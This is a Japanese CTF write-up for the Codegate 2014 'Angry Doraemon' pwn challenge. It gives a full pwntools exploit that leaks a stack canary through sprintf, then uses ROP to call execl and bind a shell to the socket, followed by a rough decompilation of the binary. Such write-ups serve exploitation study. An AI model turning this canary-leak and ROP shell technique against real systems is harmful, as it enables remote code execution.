Codegate Preliminary CTF 2014: Angry Doraemon

,

pwn会2回目。今回は自力で解けた解けてなかった1

Angry Doraemon

準備

$ file angry_doraemon
angry_doraemon: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=52386ef1e094f4cde5996d3755aa4363959d0a83, stripped

$ checksec --file angry_doraemon
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   angry_doraemon

ドラえもんと戦うゲームのようななにか2。fork型。doraemon.txt bread.txt mouse.txt fs.txt ps.txtを置いておかないと動かない。

$ ./angry_doraemon &
[2] 9346

$ nc localhost 8888
<contents of doraemon.txt>

  Angry doraemon! fight!
Waiting 2 seconds...

Doraemon H.P: 100
- Attack menu -
 1.Sword
 2.Screwdriver
 3.Red-bean bread
 4.Throw mouse
 5.Fist attack
 6.Give up
>

攻撃

攻撃可能な箇所としては、

  • 1番の選択肢で、HPが特定の不正な値のときexecl("/bin/sh", "sh", NULL);が呼ばれる。
  • 4番の選択肢で、stack buffer overflowがある。overflow後そのbufferの中身をsprintfする。
  • 5番の選択肢で、0x08から始まらない好きなアドレスをcallできる。

攻撃には4番のbofだけあれば十分である3。 ただし1番のexeclを利用するとropが少し楽になる。

bofを利用する上でstack canaryが邪魔であるが、sprintfでbufferが表示されることを用いればcanaryを流出させることができる4。 bufferは10byteありcanaryの下位1byteは0x00なので11byte書き込めばよい。 同時に5saved ebpやreturn先アドレスも読み取れる。

後はropする。 execl"/bin/sh"があるので、これを用いてexecl("/bin/sh", "/bin/sh", "-c", "sh <&4 >&4");を呼ぶだけ。 4はsocketのfdである。

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
context.log_level = 'debug'

# leak stack
p = remote('localhost', 8888)
p.recvuntil('- Attack menu -')
p.recvuntil('>')
p.sendline('4')
p.recvuntil('Are you sure? (y/n) ')
p.send('y' * 11)
s = p.recvline()
p.close()
canary = u32('\0' + s[23:][:3])
ebp = u32(s[34:][:4])
ret = u32(s[38:][:4])
buf = ebp - 0x46
bin_base = ret - 0x12c5

# rop
call_write = 0x8048991
bin_sh = 0x804970d
call_execl = 0x8048c79
p = remote('localhost', 8888)
p.recvuntil('- Attack menu -')
p.recvuntil('>')
p.sendline('4')
p.recvuntil('Are you sure? (y/n) ')
payload = ''
payload += 'A' * 10
payload += p32(canary)
payload += 'A' * 0xc
payload += p32(call_execl)
payload += p32(bin_sh)
payload += p32(bin_sh)
payload += p32(buf + len(payload) + 0xc)
payload += p32(buf + len(payload) + 0x8 + 3)
payload += p32(0)
payload += '-c\0'
payload += 'sh <&4 >&4\0'
p.send(payload)

p.sendline('ls')
p.interactive()

decompile

6

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/socket.h>

void fail(char *msg) {
    fprintf(ds_0x804b080, "%s\n", msg);
    exit(1);
}

void handler(void) {
    int stat; // ebp-0xc
    waitpid(-1, &stat, 1 /* W* */);
    waitpid(-1, &stat, 1 /* W* */);
}

char g_buf[5000]; // 0x804b0a0
void print_doraemon(int sock) {
    int len; // ebp-0xc
    int fd; // ebp-0x10
    fd = open("doraemon.txt", O_RDONLY);
    if (fn < 0) fail("open() error");
    len = read(fd, g_buf, 5000);
    close(fd);
    write(sock, g_buf, len);
    write(sock, "Angry doraemon! fight!\n", 0x1a);
}

int hp; // ds:0x804b078
void print_menu(int sock) {
    // something here
    char buf[]; // ebp-0x3f
    sprintf(buf, "\nDoraemon H.P: %d\n", hp);
    write(sock, buf, strlen(buf));
    write(sock, " 1.Sword\n", 0x9);
    write(sock, " 2.Screwdriver\n", 0xf);
    write(sock, " 3.Red-bean bread\n", 0x12);
    write(sock, " 4.Throw mouse\n", 0xf);
    write(sock, " 5.Fist attack\n", 0xf);
    write(sock, " 6.Give up\n", 0xb);
    write(sock, ">", 1);
}

void select_1(int sock) { // sh gadget
    write(sock, "1)Toy sword\n2)Small sword\n3)Big sword\n", 0x27);
    read(sock, buf, 0x3);
    write(sock, "\"No damaged.\"\n", 0xe);
    write(sock, "\"Come on! (HP - 1).\"\n", );
    write(sock, "\"Shit! (HP - 1).\"\n", );
    if (hp == 0x7a69) { // 31337
        execl("/bin/sh", "sh", NULL);
    }
    write(sock, "\"I'm a robot!\"\n", );
    write(sock, "Hahaha, I'm a robot!", );
}

void select_2(int sock) {
    int len; // ebp-0x11c
    char fname[]; // ebp-0x113
    int fd; // ebp-0x118
    int x; // ebp-0x120
    write(sock, "1)Phillips screwdriver.2)Flat-head screwdriver\n", );
    read(sock, buf, 6);
    if (buf[0] == '1') {
        strcpy(fname, "ps.txt");
        x = 0xf;
    } else if (buf[0] == '2') {
        strcpy(fname, "fs.txt");
        x = 0xe;
    } else {
        strcpy(fname, "ps.txt");
        return;
    }
    fd = open(fname, O_RDONLY);
    if (fd < 0) fail("open() error");
    len = read(fd, g_buf, 5000);
    write(sock, g_buf, len);
    write(sock, "\"Ouch!!! (HP - x)\"\n", );
    hp -= x;
}

int select_3(int sock) {
    char buf[]; // ebp-0x10
    int len;
    int fd;
    fd = open("bread.txt", O_RDONLY);
    if (fd < 0) fail("open() error");
    len = read(fd, g_buf, 5000);
    close(fd);
    write(sock, "\"Thank you! (HP + 10)\"\n", );
    write(sock, "You wanna apologize? (y/n) ", );
    read(sock, buf, 4);
    if (buf[0] == 'y') {
        write(sock, "\"Sorry, doraemon\"\n");
        return 1; // terminate the game
    }
    return 0;
}

void select_4(int sock) { // bof (with canary)
    char buf[]; // ebp-0x16
    int fd; // ebp-0x20
    fd = open("mouse.txt", O_RDONLY);
    if (fd < 0) fail("open() error");
    write("Are you sure? (y/n) ");
    read(sock, buf, 0x6e);
    if (buf[0] == 'y') {
        sprintf(buf, "You choose '%s'!\n", buf);
        write(sock, buf);
        write(sock, "\n\"MOUSE!!!!!!!!! (HP - 25)\"\n");
    }
}

void select_5(int sock) { // set eip
    char buf[]; // ebp-0x16
    write(sock, "left or");
    read(sock);
    if ('l') {
        write(sock, "left-fist at");
    } else if ('r') {
        write(sock, "(special ");
        read(sock, buf, 4);
        if (buf[3] != 0x8) {
            (*buf)();
        }
    }
    write(sock, "nothing happen");
}

void serve(int sock) { // ebp+0x8
    char buf[]; // ebp-0x10
    print_doraemon(sock);
    write(sock, "Waiting 2 seconds...\n", 0x15); // to guard the canary ???
    sleep(2);
    while (true) {
        print_menu(sock);
        read(sock, buf, 4);
        if (buf[0] == '1') {
            select_1(sock);
        } else if (buf[0] == '2') {
            select_2(sock);
        } else if (buf[0] == '3') {
            if (! select_3(sock)) {
                break;
            }
        } else if (buf[0] == '4') {
            select_4(sock);
        } else if (buf[0] == '5') {
            select_5(sock);
        } else if (buf[0] == '6') {
            break;
        } else {
            wirte(sock, "Unknown menu.\n");
        }
        if (hp == 0) {
            write(sock, "\"I'll be back...\"\n", 0x12);
            break;
        } else if (100 < hp) {
            hp = 100;
        }
    }
}

int main(void) {
    int len; // esp+0x2c
    int opt = 1; // esp+0x28
    int result; // esp+0x30
    int sock; // esp+0x34
    int child; // esp+0x38
    int pid; // esp+0x3c
    struct sigaction act; // esp+0x40
    struct sockaddr_in addr; // esp+0xcc
    struct sockaddr_in acc; // esp+0xdc

    act->sa_handler = handler;
    act->sa_flags = 0; // esp+0xc4
    sigemptyset(&act->sa_mask); // esp+0x44
    result = sigaction(SIGCHLD, &act, NULL);
    if (result == 0) fail("sigaction error");

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TP);
    memset(addr, 0, sizeof(addr));
    addr->sin_family = AF_INET;
    addr->sin_addr = htonl(0);
    addr->sin_port = htons(8888);

    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
    if (bind(sock, &addr, sizeof(addr)) == -1) fail("bind() error");
    if (listen(sock, 10) == -1) fail("listen() error");

    while (true) {
        child = accept(sock, &acc, &len);
        if (child == -1) continue;
        pid = fork();
        if (pid == -1) {
            close(child);
        } else if (pid > 0) {
            close(child);
        } else {
            close(sock);
            serve(child);
            close(child);
            exit(0);
        }
    }
    return 0;
}


  • Thu Feb 18 17:42:57 JST 2016
    • 解けてなかったのでそのことを明記

  1. libcはuploadされてないだけで本番は与えられていたのかな、と思っていたけどそうではなかったらしい。 [return]
  2. プログラミングを始めたとき、猫でもわかるcでwhile文ぐらいまで読んで、こんな感じの雑なゲームを作って喜んでいた覚えがある。懐しい。 [return]
  3. 5番の明らかなそれはいったい何だったのだろう。他の人のwriteupを見ても使われていなかった。 [return]
  4. sprintfがなくても$256 * 3$回程度の試行で判明するはず。sleep(2);があるが最悪でも30分は越えない。 [return]
  5. 環境によっては複数回に分ける必要があるかも。 [return]
  6. binaryの先頭から訳していってかつ(やる必要がなかった気がしてきて)やる気が単調減少していったのが分かる味わい深いコード。もうちょっと要領良くやりたいですね。 [return]